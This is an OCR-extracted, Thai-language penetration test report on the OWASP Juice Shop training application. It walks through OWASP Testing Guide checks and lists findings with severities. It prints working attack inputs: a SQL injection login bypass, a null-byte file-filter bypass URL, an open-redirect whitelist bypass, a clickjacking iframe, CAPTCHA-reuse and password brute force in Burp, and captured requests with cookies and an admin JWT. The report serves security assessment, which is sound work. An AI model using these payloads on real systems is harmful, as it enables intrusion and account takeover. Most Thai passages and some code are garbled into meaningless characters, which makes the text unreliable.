nanlene lousang nulasiadumifnaunie

Your Basket (Tester@exam

Product Description Price Quantity Total
Price

e 108

U 3.10.4 vinmsusludn quantity Wianay
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- @15 checkout sanluiududaalaaneie wanaitils Server Liladinisasiaasu

1 AQ Qd’l
ANNAUNAULAY

® 192.168.99.100:3000/ftp/order_2110-37e37adad 1ba1395 pdf

OWASP Juice Shop - Order Confirmation

Customer: Tester@exam.com

Order #: 2110-37e37a4ad1ba1395

-10x OWASP Juice Shop T-Shirt ea. 22.49 = -224.89999999999998

0x Melon Bike (Comeback-Product 2018 Edition) ea. 2999 = 0
Total Price: -224.89999999999998

Thank you for your order!

- =
3U# 3.10.5 order uanssrensistafnau

BUSLOGIC-004 Test for Process Timing

I3 a £% 1 1 [ a 0 & w 1o & 174
- neasugatlunisienduuad liannsoasulin depdudsaduliidnsa e

UINUDLR1NU

BUSLOGIC-005 Test Number of Times a Function Can be Used Limits

- Msasmeuiulunin  Contract us z@wnanm Submit laviay 1 A9 wavil
CAPTCHA Junstimuiuavnaunuuluse

- Lﬁaﬂm{ju Submit @59 CAPTCHA R]SLU’SEJUIUV]ﬂﬂ%\‘]
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anonymous

Ay ay ADMIN!

gﬂﬁ 3.10.6 w1 Feedback

minnadu Submit 79 neunmhlavsinsyl wanlame luvih administration &

)
1 =2

@ Comment s5sfiog Fagnauly

v Y

& 19216899.100 3 ’ v -0 0

gﬂﬁ 3.10.7 wiusanena feedback (W11 admin)

mnawing Request Ndsly Usingi
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POST /api/Feedbacks/ HTTP/1l.1

Host: 192.1€8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:E2.0) Gecko/20100101 Firefox/€2.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;qg=0.5

Referer: http://192.1€8.99.100:3000/

Content-Type: application/json;charset=utf-8

Content-Length: 74

Cookie: cookieconsent_status=dismiss; continueCode=1PnjBOokMEwAY4HjuBhecWIkTeiwfDuZhNtrCotQc4T
Connection: close

{"comment”:"Brute-forcing...... ", "rating”:3, "captcha":"-2", "captchald":4¢€}

31]171' 3.10.8 request #vazaalud feedback

CAPTCHA #ltf nduliilagn random ¥u wsiillangvesiuegudy mu  captchald
waneIFRaUtURNIZlIIzanlutedmsu captchald e

11 Request iludsuuu Brute force 100 comment

Filter Showing all items |2
Request « | Payload Status  |Emor | Timeout | Length Comment

0 201 = @ 508 [&
1 null 201 ) J 508

2 null 201 ] %] 508

3 null j201 L L1 508

4 null 201 ] kJ 508

5 null 201 @ & 508

6 null 201 U = 508

7 null 201 . {3 508

8 null 201 o u 508

9 null 201 4 =] 508

10 null 201 i A08 ) 4
[—— = g

31]17'; 3.10.9 Waawsn1s Bruteforce lu Burp Suite

d‘ Ve -] 1 4 -] L 1 v v '4 1 1
nanlene @aunsavinaletednnnvesn1sasnauiuls, CAPTCHA Tundl luanuisaae

'
a1

Buduiaundwtuigedlaae Jwihlbidianms SPAM Fulsegnanvueu

192.168.99.100 v o @ O ']

gﬂﬁ 3.10.10 WAAWSNIS5 Bruteforce
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BUSLOGIC-006 Testing for the Circumvention of Work Flows

' Vi o v -4
- lannsosgylaiealwunidinsaii

BUSLOGIC-007 Test Defenses Against Application Mis-use

a1 o q w a o S 'y
NNSINaNEILaun vilvinu nsilegvasnstasiuvaaiuil 1wy Blocked Request:
500 block illegal activity, 401 No header authorization.

1 L U 1 24 6 A
- uanmstasiursudmunnluvaig uanwu
- Input validation fiwnuazhifiminses visufiasAas wWu SQL injection, XSS,
=) 1 1 1 [ y L% £

WIeWuMINIImMUNAT  wazhifinnsnvaeulaeils Server 1oy (adnAslaglaly
@exam.com, Wagumdnudum Wudnauld ¥l Total price Wasuwlawna
Faldansluils Client AruauAmImIntua?de Request)

- 14 lock out mechanism e

- aahlddinisifiv log Teya

BUSLOGIC-008 Test Upload of Unexpected File Types

- 970 INPVAL-015 isnannsaswivananalwdiuenmidesn pdf xml 1d

BUSLOGIC-009 Test Upload of Malicious Files
- nnsonlvaalwaniumin compliant (POST /file-upload) i51amnsaswnlnanlna

1l
e

gilalnadluile wiislivsud Indnieninanluudaiu ogin - path ln videiSeng

v

aen4ls

3.11 Client Side Testing (OTG-CLENT)

CLENT-001 Testing for DOM based Cross Site Scripting
- NA



64

CLENT-002 Testing for JavaScript Execution
- NA

CLENT-003 Testing for HTML Injection
- N/A

CLENT-004 Testing for Client Side URL Redirect
- 199 URL #iiln13vh redirect 1§
http://192.168.99.100:3000/redirect?to=https://github.com/bkimminich/juice-

shop

g'dﬁ 3.11.1 uansludwuidu redirect “Fork me”

' A v A
- ansldduauly redirect Tum

http://192.168.99.100:3000/redirect?to=https://google.com

Juice Shop (Express ~4.16)

406 Error: Unrecognized target URL for redirect: https://google.com

ode moduies/expressiib/router/layer js O

uest] (/juce-shop/nod s/oxpressiibirouter/layer js 95.5
modules/express/ib X j§:317:13)
es/expressibirouterfindex js 284 7

at logger odules/morganindex
at Layerhandie [as handle_request] (juice-shop/node modules/express/ibVrouteriayer js:95:5)

o s a i ' 2 o d
3U#l 3.11.2 wadnsillawasunn redirect lugauiudu
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da & DE ] ° s 5 P . Y v
- 970 Error Mfiatu Amadniazdinisi whitelist Lufianunse redirect laionl)
1 v & adv 4 § 4P §% < a 5 "
- aedld ? vawIUNABINTT redirect uagdevNEMBLIUNBYly whitelist

- http://192.168.99.100:3000/redirect?to=http://google.com?https://github.com/

bkimminich/juice-shop

@& https//www.google.com/?https.//github.com/bkimminich/juice-shop=

Google

] = Y

gl o - s . .
§1JVI 3.11.3 NAANS redirect ®a9INNABNNITITA whitelist

- @unsa redirect TURlnuAle

CLENT-005 Testing for CSS Injection
- N/A

CLENT-006 Testing for Client Side Resource Manipulation
- NA

CLENT-007 Test Cross Origin Resource Sharing
- N/A

CLENT-008 Testing for Cross Site Flashing
- No SWF file
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CLENT-009 Testing for Clickjacking

. ° ° 4 v . o v v v a vy
- iframe @nansathluiiuvaen iedeu iframe fviaen siunudiasela
- dmstesiunisdenlulelu iframe
. < fa v oa a v, v
- X-Frame-Options: SAMEORIGIN lawziiulesidendunamisaisenld iframe 1ol
- @3y X-Frame-Options wugtlwly Deny
. [ Y| s v ) 1 '
- X-Frame-Options aasillgymiuiias not compatible fu Browser L3IDITULNBY
é o 1 o 1 4
Fayildanunsatesiule

- snegransdn iframe TUlgvin Clickjacking

B cifrase ioe"top” sroe"Bigpilieng-ci ayr.ady. " widthe”1000" height="550">
R

ciframe fos"botton" srox"BERRI/ e AN 00N" WEGCH="1000" heights"550" >
«/iframe>

catyle types"taxt/css®>
hgs o e
tion:: top H 3 . opacity 8.
«/atyler

</body>
o/meml >

3uﬁ 3.11.4 7981901591 Clickjacking

CLENT-010 Testing WebSockets

- T4 Socket.io

- “Socket.l0 is NOT a WebSocket implementation” 970 https://socket.io/docs

aldarunsowmaludiuills

- loaealy WebSocket Client a8 connect lUwaa usildanunsavinle

CLENT-011 Test Web Messaging
- NA

CLENT-012 Test Local Storage

- Pass liwu Sensitive data Qn%’mﬁuaq’lu local storage
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uni 4
NANISIBBASNISNUTIUNA

INNINAFBULAESEUU Web Application fuldules OWASP Juice Shop ladins
8N 1seaeun1l OWASP Testing Guide lafinsfinwnflamatianisviniangssuuuinuiy
919 Msld null byte, n15¥i1 SQL Injection, nN15¥i Intercept proxy wnlwen, craft HTTP

¢ ° Vo ' | 1da £ O Y a
request FIMNMIMABUIIESEULAREILNAI FaslmiTiiintutu L ntaRanaInUes
v o P a - ' o A 3 =& a & 1 -
A Feenvaziinainnisavias vislinsuiuies  Web security 3aiinsiee vle
1 =% L o YV a 1 1 ] 1 4 1 1
panuuulaglieseYs v liAadedminnmsldnsiaaeudi users dwwn weunsduninig
ATIVARULANTLIULYINTY
a:} [} IS d 1 &) 1 qv/
PNMINAFRUNKIUL Tdenveasy 11 wne wiluyavaasugesyianun 89

%) T R - - R A a ) =~
U WU?WLﬂﬂ‘U@QI‘VITUUVNVilIﬂ 45 U9 ‘U\ﬂﬂﬂ'm'ﬁﬂi:z’Lll'LﬁsﬂUﬂ'J'lJJ?uuiQ WUAINULAYN

O Critical 3 MUY

O High 13 MU

O Medium 19 91U

O Low 10 I
Severity

M Critical
W High
® Medium

Low

d o 1 3 i s
§\JVI 4.1 chart LLﬁﬂ\W’]u'lu‘UENIﬁ’JLLWﬁb’i%ﬂ‘Uﬂ')']&l?ﬂLtN
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M99 4.1 Nanqﬁuszmuizﬂ\.’ﬁ'}"luLaﬂ@ﬂa@ﬁﬂﬂiﬂ')ﬂwu

OWASP: Testing Guide v4 Checklist

OTG-INFO-002 Fingerprint Web Server

Low |

OTG-INFO-008 Fingerprint Web Application Framework
Low

o N Voot
Rl
; P

ore,;ifgfiﬁmooz Test Apphcatlon Platform canmatbf -

i

OTG-CONFIG-003 Test File Extensions Handling for Sensitive Information

OTG-CONFIG-004

Informatign S,

Enumerate Infrastructure and Application Admin
OTG-CONFIG-005
Interfaces

;) T

g

OTG-CONFIG-007 | Test HTTP Strict Transport Security.

Test Role Definitions

OTG-IDENT-001

OTG-IDENT-002 Test User Registration Process

68



OTG-IDENT-005

69

Testing for Weak or unenforced username policy

Low

OTG-AUTHN-001

Testing for Credentials Transported over an Encrypted

Channel

OTG-AUTHN-002

Testing for default credentials

OTG-AUTHN-003

2

Testing for Weak lock out mechanism

OTG-AUTHN-004

Testing for bypassing authentication schema

OTG-AUTHN-005

Test remember password functionalitf 2

OTG-AUTHN-007

Testing for Weak password policy

OTG-AUTHN-008

Testing for Weak security question/answer

OTG-AUTHN-009

Testing for weak password change or reset

functionalities

OTG-AUTHZ-002

Testing for bypassing authorization schema

OTG-AUTHZ-004

Testing for Insecure Direct Object References




OTG-SESS-001

Testing for Bypassing Session Management Schema

OTG-SESS-003

Testing for Session Fixation

OTG-SESS-004

Testing for Exposed Session Variables

OTG-SESS-005

Testing for Cross Site Request Forgery

OTG-SESS-006

Testing for logout functionality

OTG-INPVAL-001

Testing for Reflected Cross Site Scripting

OTG-INPVAL-002

Testing for Stored Cross Site Scripting

OTG-INPVAL-003

Testiﬁg for HTTP Verb Tampering s

OTG-INPVAL-005

Testing for SQL Injection

Testing for NoSQL injection

OTG-INPVAL-008

Testing for XML Injection

OTG-INPVAL-015

Testing for incubated vulnerabilities
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OTG-ERR-001

Analysis of Error Codes
Low

OTG-ERR-002

Analysis of Stack Traces
Low

OTG-CRYPST-001

Insufficient

Testing for Weak SSL/TSL Ciphers,

Transport Layer Protection

OTG-CRYPST-003

Testing for Sensitive information sent via unencrypted

channels

OTG-BUSLOGIC-
001

Test Business Logic Data Validation

OTG-BUSLOGIC-
002

Test Ability to Forge Requests

OTG-BUSLOGIC-
003

Test Integrity Checks

OTG-BUSLOGIC-
005

Test Number of Times a Function Can be Used Limits

OTG-BUSLOGIC-
007

Test Defenses Against Application Mis-use

OTG-BUSLOGIC-
008

Test Upload of Unexpected File Types

OTG-BUSLOGIC-
009

Test Upload of Malicious Files
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OTG-CLIENT-004

Testing for Client Side URL Redirect

OTG-CLIENT-009

Testing for Clickjacking
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o
U 5

AyUNaNTIVBUATYBLEUBLUL

5.1 #5UNan1siY

PNNMSANINTNAADUINESEUU Web Application uarldasamadeudie Alansiu
fansfieguesdymisiu  Security  weaduludlutlagiu  msvihliAemsnszduaiy
awareness NaiumBanfuslawes filudruvesiiaun Wimsesnuuuiuledii
vasaste wazhl daonliifinanuseiasyTa lumsliandumbevesns  phishing RO
swaruiiauUaende wnlidaraldlaludi forsliviglavies (attacken Wilaud
ssuuldlagireandeswiiiiniu villiAnaudemesudivleduadlén faua
nsgnuluau Confidential, Integrity, Availability uaznansenuivgsisveainveaiulessn

R0

v

5.2 vUaidusuue

P 5 dv v 1 -5 P a o v P

Wesnnmsveaeuluasal lildlaetesn vimun Feeraflunshidelums  test
Lilonaaeulviiunistuassivaziden aunsadnwiiuduliain OWASP Testing Guide lu
BNANTONBN Uazn1sUsEiiuAdes WWesnnnddavinlilafivssaunisalludugsia Tu
dusauys Business impact 3sliAssuudain Yszneviuiuledimeaeuiluiesiuinass
wihiiu Seerefiunsduilimiliousisegine annsofnwiisdlaann  OWASP Risk Rating

Methodology TulanansesdauasnianuIn
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ANANUIN N: TIWALLDYANIINAGDU

s18az198AN15AdaY (Technical detail finding issue)

SIaBIANISVNAABULNESTUUNNTU Web Application

ID

001 Finding Fingerprint Web Server (OTG-INFO-002)

Severity
Asset Identification
Description

Recommendation

Detail

Low Port 3000

[Target domain]

38y web server version Way operating system
msmmsasiBonvetostuliiinnulidaeul’ (obfuscate)

1 Server: Unknown-Webserver/1.0)

L httprint version 0.301 - X

InputFie - —— -
[D\Plogm\mnml 301\win32\input bt

r Signature Flg— —— —— —————
]o \Program\hitprint_301\win32\signatures. bet

[D\Hogunw&nm;\mm” _J:':v"'r"" (] =] Clear A1l | Oplions |



7

ID 002 Finding | Fingerprint Web Application Framework
| ' (OTG-INFO-008)
? Severity Low Port 13000
Asset Identlf‘ cation [Target domain]
Descnptlon 5%y Framework vaa3uleala
Recommendatnon msmm‘lwmmmmlmmwuh (obfuscate) LwaﬂnﬂmauatimLﬂﬂiuiaﬂv'fl‘n
i : S h T & 3 i .7T -7-‘ m Ry b A
Detall ‘HTTPIH lzooox
jM Express
| Access-Control-Allow-Origin :
| X-Content Type-Options nosniff
X-Frame-Options SAMEORIGIN
| Accept-Ranges bytes
Cache-Control public, max-age=0
Last-Modified Fni, 05 Oct 2018 03:13:10 GMT
ETag W/"2976-1664236f7b3"
| | ContentType texthtmi; charset=UTF-8
| Content enath bt e . W
ID 003 - Finding Test Application Platform Configuration
' (OTG-CONFIG-002)
Severity ; m’*\” Port 3000
Asset Identlf' catlon [Target domaln]
Descnptlon - wu comment lu html wmmﬂmmwauaw sensitive
Recommendatlon ¥ lsims#a comment 15 Lwanu‘uagawi'ﬂwa
Detaﬂ P | »<a href-"https://bkimminich.gitbooks. io/pwning-owasp-juice-shop/
| content/part3/donations.html#tcredit-card-donation-step-by-step”
target="_blank" class-"btn btn-danger”>.</a>
<!--<a href="/redirect?to=https://gratipay.com/juice-shop”
target="_blank" class="btn btn-danger">
<i class="fab fa-gratipay fa-1lg"></i>
Gratipay
</ax-->
ID 004 Finding ' Test File Extensions Handling for Sensitive
‘ ' Information (OTG-CONFIG-003)
Severity Low - Port 3000
Asset Identification [Target domain]
: oo =% E Xl
Descnptlon wulwamaamawmﬂu‘uagam sensitive ¥4 path iMszyeglu robots.txt
Recommendation  sarvih authorize lailidndsdudld Ewnnlndivantuilidy sensitive
Detail ~Iftp

acquisitions.md coupons_2013.md bak easlere.gg

incident-support kdbx legal.md )~ order_6941-f1462000d93e4fab.pdf
package json.bak suspicious_errors.ymi



78

ID 005 Finding Backup and Unreferenced Files for Sensitive
Information (OTG-CONFIG-004)

Severity Low Port 3000

Asset Identification [Target domain]

Description WU admin page in .pohs-eciujmin.js

Recommendation  saAh authorize Wilidnaadauiile dvnnlwdimarniuiidy sensitive

Detail email,n.results.totalPrice=e.data[@].totalPrice,n.results.products=e.data[@].products,n.re
»["$scope”,"$uibModal"”, "$sce”, "UserService",function(t,n,0,e){"use
sers[n].email=o.trustAsHtml(t.users[n].email)}).catch(function(e)
.html",controller:“UserDetailsController”,size:"1g",resolve:{id: function(){return
e”,"$uibModal”, "UserService"”,"id", function(n,e,t,0){"use strict”;t.get(o).then(function(e)
nfig(["$routeProvider”, function(e){"use strict";e.when("/Blllistration”,

,e.when("/about”,
,{templateUrl:"views/Contact.html",controller:"ContactController"}),e.when("/login",
“,{templateUrl:“"views/Register.html", controller: "RegisterController"}),e.when("/basket",

hen("/logout”,
-password”,

ID 006 Finding Enumerate Infrastructure and Application

Admin Interfaces (OTG-CONFIG-005)
Severity sdit ' :ﬁ Port 3000

Asset Identification = [Target domain]

g 2. - A v
Description U5l email ves account dula
J1ashauiiil Credential @unsawdafantindile

Recommendation  #3A1 authorize AMuunanslaily Users Weavtin admin interface

Detail
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‘D 007 Finding Test HTTP Strict Transport Security (OTG-
CONFIG-007)

' Severity - Port 3000

‘ As;et Identification = [Target domain]

' Description liwunnsld HSTS Protocol Fududuiivaetaduliinisdenld HTTPS Jasiuns
downgrade 1 HTTP 1¢ vilvinsdsteyagnidnsiauvueu

' Recommendation  Enable 30 implement 14 HSTS ewuaunas

' Detail l3iwy HSTS/HTTPS

ID 008 “Finding _ Test Role Definitions (OTG-IDENT-001)

Severity -Port . 3000

Asset |dentification [Target doméin]

Description - wdwnniidnda épi/Users »28 Admin Authorization header: Wy (GET |
method)
- wdnidndie api/Users #e common users Authorization header
HU(GET method)
- Admin fiu & resU Permission tieafiu tU3gulaiiou role ieau
- lififedrfin(constraints) Wy User a@unsa Delete Yoyalu Basketiterm
Q’é‘ﬂﬁ

Recommendation = dnvinslnandusiag Role Juunlvi laips1wans Users windu Admin fvuadns

v v v v o o da i v v oot
nmsldnulviaseurquuazgnee fided1inna wwu linasi Users anansaudnia

L ’/A L
Joya Users Jauls

Detail api/Users api/Products api/Basketitem

Admin(Read, Write,

Admin(Read, Create) Admin(Read, Write) Delete)

Users(Read, Write,

Users(Read, Create) User(Read, Write) Delete)

Guest(NON) require

Guest(Create) Guest(Read, Edit) credential




80

%ID T 009 ’ Fir;;:iiﬁg ‘ Test User Registration Process (OTG-IDNET-
‘ | ' 002)

| Severlty -Port } 3000

Asset Identlﬂcatlon [Target domain]

M[iesenptlon foya Identity annsagnivAsuuadiiluszwing registration Snvedls bypass M3

validation v93 email l9idnsae

° | o ' y 1% 3 Y ' v PR
| Recommendation vinsidarfigndan Tuila server s n1s validation uAludruniiiulasiu

Taiannsavaele mnile server uauwmmnuf'ﬂ,‘v

- POST /apx/Uuezs/ HTTP/1.1
Detail Host: 192.1€8.99.100:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Viné4:; x€4; rv:€2.0) Gecko/20100101 Firefox/€2.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;g=0.5
Referer: http://182.1€8.95.100:3000/
Content-Type: application/json;charset=utf-8
, Content-Length: 238
Cookie: cookieconsent status=dismiss; continueCode=MbkEYoSpBJnrRV4myqgQlABaHXulhSc3£zuQhBO3Xv2eKwPDEz1Z7NaSVWiBx:
| 1i0=3Ytq7iqlbJptibclAAlb
Connection: close

("email": " IRBESERENG", "passvord”: "12345", "passvordRepeat”: "1234", "securityQuestion”: {"id":7, "question”: "Name of your
::‘:2::"-“«: ":"2018-10-11T03:23:1€.2072", "updatedAt”: "2018-10-11TD3:23:1€.2072"), "securityAnswer”: "Doge”)
' ID 010 , Finding | Testing for Weak or unenforced username

) |

! - policy (OTG-IDNET-005)

1\‘ > “'} "‘Q«‘M" |

Severity Low.\ T/ Port 3000
=ppeg N |J | SR\ :

Asset Identlﬂcatlon [Target domaln]

A e
Descnptlon ;‘ - @ m3u admin account ﬂmﬂ»ﬂ'u “admin@juice-sh.op”. FIADUTNNE

weak (ioin3Tevdt @

- “admin” Fzgnwumiuuseannly dictionaries. (fet1a Burp suite’s

username list)

b, B, T4 p ETE 8 3 = p
Recommendation  (Uagun1379%e account ve4 admin Widuegnedu Alulduiiss default
Detail Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste. | | odai $

| adler
l Load ... ] adm
———— | admin >

Add ] Enter a new item

Lu,ﬁlﬂiﬂ... ! S PR .;.i
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011 Finding - Testing for Credentials Transported over an
- Encrypted Channel (OTG-AUTHN-001)

Severity

7A§setr Identification
Beseription

' Recommendation

Detail

Severity

[Target domain]
dadayaludie POST method st HTTP laidinnsidnsva
Tudau Login Asiinasly HTTPS \dle Users d1 credential (email, password) 2zl

kg LY Y o ¥ !Id 1 ' ' ' l‘: ¥
msuiheviald ilvgoulianansagudnmanile

POST /rest/user/login HTTP/1.1

Host: 192.1¢8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4:; x€4; rv:€2.0) Gecko/20100101 Firefox/€2.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://192.1€8.99.100:3000/

Content-Type: application/json;charset=utf-8

Content-Length: 51

Cookie: cookieconsent status=dismiss; continueCode=MbkEYoS5p8JnrRV4imyqgQlABaHXulhSc3fzuQhBO3Xv2eKwPDEz1Z7NaSV)Bx:
io=qrmS782ZVpVY- iMGNAAAE

Connection: close

012 Flndmg  Testing for default credentials (OTG-
' AUTHN-002)

Asset Identiﬁcatién [Target domain] V

Description
Recommendation

Detail 1

° v - P Y
- M3 brute force MY common password list. 1UBI9INABINTVIAGDY default

' credentials DgUA HATWSARA1NITAIAT password la

| a o Vel o v ® Y Y o a - v
Wagusviaruliianududeudu dasldswanidu default visamannladne

” test 401 7] E 3% :
] hockey an (=} @ 20
] dallas 401 (=} B 330
80 passwor 401 ] & 330

.81 all¢ "™ @ 3
® SO0 T A
83 pussy 401 2} B 330 k
84 pess 401 [*%} B 330
8 asdf 401 B B 1
86 villam 40 8 /8 .
r’..f’ﬂ"!..l’
Bius .

Roguest s Payond . |Swws (Eno |Teou|Leegh |Commen

it |1
v se s It
HTTP/1.1 200 OK
X-Powered-By: Expresa
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
¥-Frame-Options: SAMEORIGIN

Content-Type: application/jscn; charser=utf-8
Content-Length: 588

ETag: W/ "24c-GKa93Q1H3UcDO2/TualeSQPeDB4"
Date: Fri, 12 Oct 2018 08:53:4€ GHT
Connection: close

¥

{"authentication": ("token": "eyJhbGci01JSUZIINI IS InRScCIEIRPXVCIS. eyJ2dGFOAXNI0LJ 2dUN) 2XN2 1 1wi2GFOYS]
EeyJp2CIEMSV1ZV1haWviO1Jh2GlpbkBqdWl) 28 12aCsveCIsInBhe3N3b3Jk1)0 ANDESHIAYNZES YmJ kN NyNTALNTZmNDYS 2GY
*OGTIMDAILCIIcmVhdGVRQXQi01 IyMDE4LTEWLTEY IDAOO) 1507 AyL) ISNCAr MDAEMDALLCT 1cGRhAGVRQXQ101 IyMDEALTEWLTE
yIDAOO3FISOFAyL) ISNCAxMDAEMDAI£SwiaWFOTjoxNTHSNzNONDIZLCI 1eHALO)ELNzkzNTION] 29 . HHVWN4_Swix7yiMGOIS3GE
A47dhNXZIFenTktRYGSp780qDt921t40aX9492 Yyat lyqXpwZ IRSaBeoD2720£n7_2 QAANOLU3bvuWpmO2DXI TETBI kx7EtxxG2
uSZL)jskhplwbPOLDFBG7LEinzrXX2_VOOQYdY_ABaf2VOYMdw", "bid":l, "umail":"admin@juice-sh.op”})
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ID 013 Finding Testing for Weak lock out mechanism (OTG-
AUTHN-004)

Severity - Port 3000

Asset Identification [Target domain]

Description lsiwu lock out mechanism tag (Waaulsiaannis log in vangqasa w3e Brute
force in AUTHN-002)

Recommendation  Implement N5 lock out dlefinnsassdordusiuauin wetlostunisian
password #38gn bruteforce ¥V attacker laudlatha

Detail No lock out mechanism

ID 014 Finding Testing for bypassing authentication
schema (OTG-AUTHN-003)

| Severify Vi —‘éon E7 “3-000 N

Asset Identification [Target domain]

Description - 14 SQL injection

using ‘OR 1=1;
Recommendation  vhn1snsesrn liliiAanisdrnusnuseRiavdudydnval Iianuduiiios text
atanil

Detail

’ Log in G Log in with Google

Forgot your password? Not yet a customer?




83

; ID 015 - Finding \ Test remember password functionality
| | ' (OTG-AUTHN-005)
| SEE-22 SR 0 |
- Asset Identification [Target domain]
 Description - Token 113ggn encode My algorithm U198EN
|
! 1 [ [ 3
| - wudndu JwT 79 RS256 algorithm
|
' s 1
- WU credential NU password W# password aq‘lugULLUU hash
{
- agUlsinld MDs dudiu Hash function livasnste
5 P 1 24 e S d dﬂ J . LA L U
Recommendation 1% HASH function 8unani1 wagldsauiuan Salt
1 o v LY ]
A23EINSIWNTIA token L@l illledin1s5uas request (HTTPS)
F = ! 7| HEADER AGORTI WEN
~ Detail eyJhbGe101JSUZITNIISINRSCCIGIKPXVCIS . ey
‘ 2dGFBAXM1i01JZdWN] ZXN211w1ZGFeYSI6eyJpZCL AR
60SwiZW1halwi0iJUZXNOZXJAZXhhbS53b201il CJ :‘: s dy
WYXNzd29yZCT6TJEINTM30ThiYWM3YmEX Y] M3NZM )
wNzd NT1IhNDQS5Y jgxTiwiY3J1YXR1ZEFOT joiMiA
XOCBXMCOXNLAWMZOYMTOWMCAXOT IgKzAWO JAWT 1w s
1dXBKYXR1ZEFBI]0iMjAXOCEXMCBXNAWNZOYMTo
wMC4x0TIgKzAWOjAWInBsIm1hdCI6MTUZOTY2MDE status success
INCwiZXhwIjoxXNTMSNjc4MTURFQ. AW7C2QhL _n3z ”71;'._ o
eA2WJjuQ20ZRNTLZaMU6 1gWOpuV- . Tester@exam.com
0X1gVQjuUUDsy_hoIbnnTACcCruiotidlxa_TMY8= P ] ‘é“;el“wim"":;“z: .
aH4xVi6DmgsLFE6ay7LVPEZ6haeudWWmMI SR3Gma upldtearct! H018-16-16 83:21:08.192 +00:00
-C9a-uLcdMOTF7pfa2- 4 W o O |
201 ZV2kpFLWS2aETXZZwIt i RhBA_Q4 gyt ¢
D 016 * Finding Testing for Weak password policy (OTG-
| AUTHN-007)
Severity ‘n 3000

Asset Identification [Target domain]r

Description

- Password ABliAN812UUsN 5 characters

1] d A ¥ A L -
- 14l delay Tumsiasu password anunsawasulaneiiesiud

1l il do v g o = -
- Lifl policy nUsAUlY Users wWaeu password wnq ‘N’ days %39

o d -l ° -

%8993 lockout LUB91NIINT log on Furusnniiuly

- Users ansain password nauminnauunlgluadlaviud

s % ° v W 1 1 o & '
- il policy dmsudsAuAuLana1sEwIng password Mazaalusiu

password AU
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Recommendation 1w policy Tudunlaudalilusvaziden amumumnzay waiiunsUsiuwas

Anuvasnnaliuniu

Detail
Password must be 5-20 characters long
ID 017 Finding Testing for Weak security question/answer
(OTG-AUTHN-008)
Severity Low Port 3000

Asset Identification = [Target domain]

Description - § security question 8¢ 10 %8 (Pre-generated)ld lock out
mechanism (87983900 AUTHN-003) ins1easiu  aunsavinis
brute force Amaula

- meuiienaildnaindnmeluaseunss visaulndfves user:
Name, Birth date

- fmeuitemasmldine: Favorite pet

- dweufienavi brute forcible: Last name wesvmawufinawulilo
Josu

- dmeuiionvsgnAuielfesuansisny: Zip code, First company

you work (Social media)

Recommendation  LUasumnanyanulnl ludwvesenfaiaamlaieiuly viegnvia

bruteforce 9 wasiiy lock out mechanism 8naae
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Detail

Your eidest siblings middie name?
Mother's maiden name?

Mother's birth date? (MM/DD/YY)
Father's birth date? (MM/DD/YY)
Maternal granamother’s first name?

Patemal grandmother's first name?

Name of your favorite pet?

Last name of dentist when you were a teenager? (Do not include Dr.")

Your ZIP/postal code when you were a teenager?

Company you first work for as an adult?

ID 018 Finding Testing for weak password change or reset

functionalities (OTG-AUTHN-009)

Severity ion 3000

Asset Identification = [Target domain]
Description Password Reset (A1 password)

- NBYNYULYAU security question

Password Changing
- QuA current password DONUAIAN request 8
- awnsawAsusvariuld [udesivd uazia CSRF
Recommendation Password Rest liinasiis security question Wy A251IN1589 email
\oBuguMs reset swaruni
Password Changing A25flnsms19aauen current i server uazidsunisld
GET «¥u POST method Tun1sds request

. | Request Response
Detail ‘ o . S

*nevadmin HTTP/1.1

|
|GET Jrest/

hange 4 | HTTP/i.1 200 OK

Host 99.100:3000 2 X-Povered-By: Eupcess
[veez- Agent: n 11a/5.0 (Vindows NT 10.0; Winf4; xé4; rvi62.0) Gecko/20100101

{rireton/e2

Accept: application/json, text/plain, */*
| Accept-Langua:
|Reterer: ncep

5 pe: application/3son
+3000, ngth: 169
tus=dismiss; 9~ 20 ERC) VIVLEBEGON+0YBE 1g0A™
spu.xnu- /imyqg0l ABaBXuULhSC 3£ ZUChBO3 Xv2 eKWFDE 212 TNASWIBx Date: Tue, 16 Oct 2018 10:58:53 GNT
AAAS Connection: keep-alive

| token=eyIhbGo101ISUTINL In InRSc XVCJI9. eyJsdGFOAXNIOLI dWNI XN 1 AWiZGFOYS I Eeydp i

| 2CTeMS w1281 haWw101IN2ZG1pbkBGAV] I8 InBhcINILITKII0 ANDESHI AyN2EI Tid kKNZMYNTA
‘ LNTZRNDYSZGYX05] ARDAALCI ICHVRAG DEALTEWLTES IDAZOIEL0I04LI NS AL MDA BDALLC
J1cGRRAGVRCX 104 TyMDEALTEVLTES 1DAZ0IE103AL I HaNS Ar MDACHDAL £S 1 aVPO 1 9oXNTHSN 3N TOL

charset=utf-8

("1d": 1, "emall”: "admind
4432055ea0cq A8 TiSecetec
115:40.3352", *updateda

'znxu'\nfunar e £GGLEO ry GIUZ4CHEx mnut.:ln;ka:vp;mn;.z;ivAanwuxrsa;r.'r:!:!.,;
2FTweltLPisdulNp vi vo0
‘ ntent-Lengch: 2

"
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D 019 Finding Testing for bypassing authorization schema
(OTG-AUTHZ-002)
Severty T  EEET

As.r;e'trldentiﬁcation

Description

Recommendation

Detail

ID

Severity

[Target domain]

y o ww
- Admin wag Users @11150 read write delete Basket audule

v ] o o vl
- Guest ®MPINIUNTS authenticate W8 access resource VoI

(Credential required).

o v o w

vidiedniin (Constraints) 1 Users laianunsaldaudnsuuiuidula

914849910 Test Role Definitions (OTG-IDENT-001)

;Testing for Insecure Direct Object

. References (OTG-AUTHZ-004)

020 Finding o

' 3000

Asset I::it;ntiﬁcat'ibrﬁ [Target domaih]

Description

Recommendation

Detail

- @Y access Wnils package json.bak wadwstu 403 Error: Only .md and
.pdf files are allowed!
- 14 Null byte attack Lanseviwaslulu URL %00 (% Tu URL 9¥ encode

d o o L & (% % -
1T %25) evinns@n string U uavseynesiy .md wie .pdf

= http://192.168.99.100:3000/ftp/package.json.bak%2500.md

o S P CAT 7 = ” - 4 S P
